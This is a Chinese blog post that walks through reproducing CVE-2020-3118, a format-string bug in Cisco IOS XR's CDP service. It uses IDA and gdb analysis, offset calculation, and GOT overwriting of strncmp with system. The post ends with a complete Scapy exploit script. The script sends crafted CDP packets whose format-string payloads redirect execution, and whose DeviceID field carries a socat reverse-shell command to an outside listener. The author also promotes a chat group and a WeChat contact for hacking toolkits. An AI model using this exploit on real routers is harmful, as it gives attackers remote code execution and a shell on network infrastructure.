写点什么

我用一个例子疏通“路由器漏洞 & 复现”【建议收藏!!】

发布于: 4 小时前
我用一个例子疏通“路由器漏洞&复现”【建议收藏!!】


一、介绍​ 该缺陷存在于 Cisco IOS XR 软件的 Cisco Discovery Protocol 中,它可能导致黑客的攻击。


​ “该漏洞是 Cisco Discovery Protocol 中字段字符串输入的错误验证所致。黑客可以通过向受影响设备发送恶意 Cisco Discovery Protocol 数据包以利用漏洞。” “被成功利用的漏洞可能导致堆栈溢出,黑客便可以执行任意代码。”


​ Cisco 专家指出,其他黑客也可以利用此缺陷。美国国家安全局(NSA)声称该漏洞在漏洞排名中位居前 25。 IOS XR 网络操作系统 运行包括 NCS 540 560、NCS 5500、8000 和 ASR 9000 系列的 Cisco 路由器,该漏洞还会影响至少全球范围内都启用了 Cisco Discovery Protocol 的第三方白盒路由器和 Cisco 产品。Cisco 于 2020 年 2 月解决了 CVE-2020-3118 漏洞,以 CDPwn 跟踪其他四个严重问题。


二、实验工具与环境 2.1 实验工具 IDA 7.5,Xshell,gdbserver,gdb。


2.2 软件环境 XR 模拟器,kali 虚拟机。


三、复现过程 3.1 漏洞触发及 FMT 原理分析​ 本漏洞为格式化字符串漏洞,在同一函数中连续三次调用 snprintf 造成,通过 IDA 逆向 cdp 文件,找到漏洞点。



需要构造合适的 cdp 报文触发漏洞,cdp 协议格式如下图所示:



Scapy 库提供了构造 cdp 报文的 API,直接每个字段都构造一部分内容发送过去,用于确定漏洞点。


from scapy.contrib import cdpfrom scapy.all import Ether, LLC, SNAPfrom scapy.all import *# link layerl2_packet = Ether(dst="01:00:0c:cc:cc:cc")# Logical-Link Controll2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()# Cisco Discovery Protocolcdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)deviceid = cdp.CDPMsgDeviceID(val=b"A"*10)portid = cdp.CDPMsgPortID(iface=b"B"*10)version = cdp.CDPMsgSoftwareVersion(val=b"C"*10)platform = cdp.CDPMsgPlatform(val=b"D"*10)domain = cdp.CDPMsgVTPMgmtDomain(val=b"E"*10)unknown = cdp.CDPMsgUnknown19(val=b"F"*10)address=cdp.CDPMsgAddr(naddr=1,addr=cdp.CDPAddrRecordIPv4(addr="192.168.43.181"))cap = cdp.CDPMsgCapabilities(cap=1)cdp_packet = cdp_v2/deviceid/portid/address/cappacket = l2_packet / cdp_packetsendp(packet)
复制代码


​ 在 snprintf 出现的三个地址,即 0x41830F、0x418334 和 0x418359 处下断点,发送以上代码构成的数据包,使用 gdb 调试,可以得知三处 snprintf 的参数分别是 CDPMsgPortID、CDPMsgPlatform 和 CDPMsgVTPMgmtDomain。





​ 64 位程序中,前 6 个参数存在寄存器中,从第 7 个参数开始才会出现在栈中,format 是 snprintf 函数的第 3 个参数,因此发送”%4$p”命令用来解析相对于 format 的第 4 个参数地址,即 snprintf 的第 7 个参数地址。



gdb 中输入 n 单步执行后查看内存,转化为 ASCII 码可以发现第 7 个参数就是栈顶存储的值。



0x7fffbca39d60 相对栈顶 0x7fffbca39cd0 偏移为 0x90,64 位程序每个参数占 8 位,所以 0x7fffbca39d60 是相对于 format 的第 22 个参数地址,即 snprintf 的第 25 个参数地址。以此可以实现任意内存写入。


3.2 漏洞利用​ 利用思路是将 strncmp 函数的 got 表地址改为 system 函数地址,进而远程代码执行。


​ system 函数地址为 0x399480ffa0,strncmp 函数地址为 0x3994481a70,两个地址只有最后 6 位(3 字节)不同。strncmp 函数 got 表地址为 0x622530。



构造 payload,payload1 写入 strncmp 函数的 got 地址(6432048 为 0x622530 的十进制形式)。


​ Payload2 修改 strncmp 函数 got 表指向地址(0x3994481a70)的最后两个字节,即将 0xffa0 写入栈空间 0x7fffbca39d60 处,覆盖原地址的 1a70;由于一共需要修改 3 字节,已修改 2 字节,还需要修改 1 字节,因此为保证写入栈空间的连续性,下一次写入需从 6432048+2 处开始写入;前面已经写入了 65440(0xffa0),因此 payload2 后半部分应该是 6366610(6432048+2-65440)。


​ payload3 用于修改 got 表指向地址的倒数第 3 个字节,写入 128(0x80)即可。


payload1 = %6432048c%4hn%6366610c%4hhn​ 输入 payload,对路由器进行调试。执行第一个 snprintf 后,payload1 将 got 表地址写入了栈中。



执行第二个 snprintf,输入 payload2。栈顶存放指针指向了 0x622532,而 strncmp 的 got 表指向地址的最后两个字节已经被修改。



执行第三个 snprintf,可以看到 strncmp 的 got 表已被修改为指向 system 函数。



​ 在 0x399480ffa0 处下断点执行过去,发现参数全为 A,在构造 cdp 包的程序中由 CDPMsgDeviceID 控制。



​ 使用 socat 命令,在 kali 中设置对应端口监听,最终即可反弹 shell。



​ 与 XR 中的 cdp 进程号比对,完全相同,可以判断该漏洞利用成功。


我是一名渗透工作者,常年游走在漏洞当中,大家在学习中遇到任何问题,都可以申请加入我所在的亲亲箘,前面是:603 中间是:916 后面是:224,还有更多网络安全全套视频、工具包、书籍、应急响应笔记等着你,点这里获取



​ exp 如下所示:


from scapy.contrib import cdpfrom scapy.all import Ether, LLC, SNAPfrom scapy.all import *# link layerl2_packet = Ether(dst="01:00:0c:cc:cc:cc")# Logical-Link Controll2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()# Cisco Discovery Protocolcdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)deviceid = cdp.CDPMsgDeviceID(val=b"socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.43.140:1234")portid = cdp.CDPMsgPortID(iface=b"%6432048c%4$n")version = cdp.CDPMsgSoftwareVersion(val=b"C"*10)platform = cdp.CDPMsgPlatform(val=b"%65440c%22$hn%6366610c%4$n")domain = cdp.CDPMsgVTPMgmtDomain(val=b"%128c%22$hhn")unknown = cdp.CDPMsgUnknown19(val=b"F"*10)address=cdp.CDPMsgAddr(naddr=1,addr=cdp.CDPAddrRecordIPv4(addr="192.168.43.181"))cap = cdp.CDPMsgCapabilities(cap=1)cdp_packet = cdp_v2/deviceid/portid/version/platform/domain/unknown/address/cappacket = l2_packet / cdp_packetsendp(packet)
复制代码


用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
我用一个例子疏通“路由器漏洞&复现”【建议收藏!!】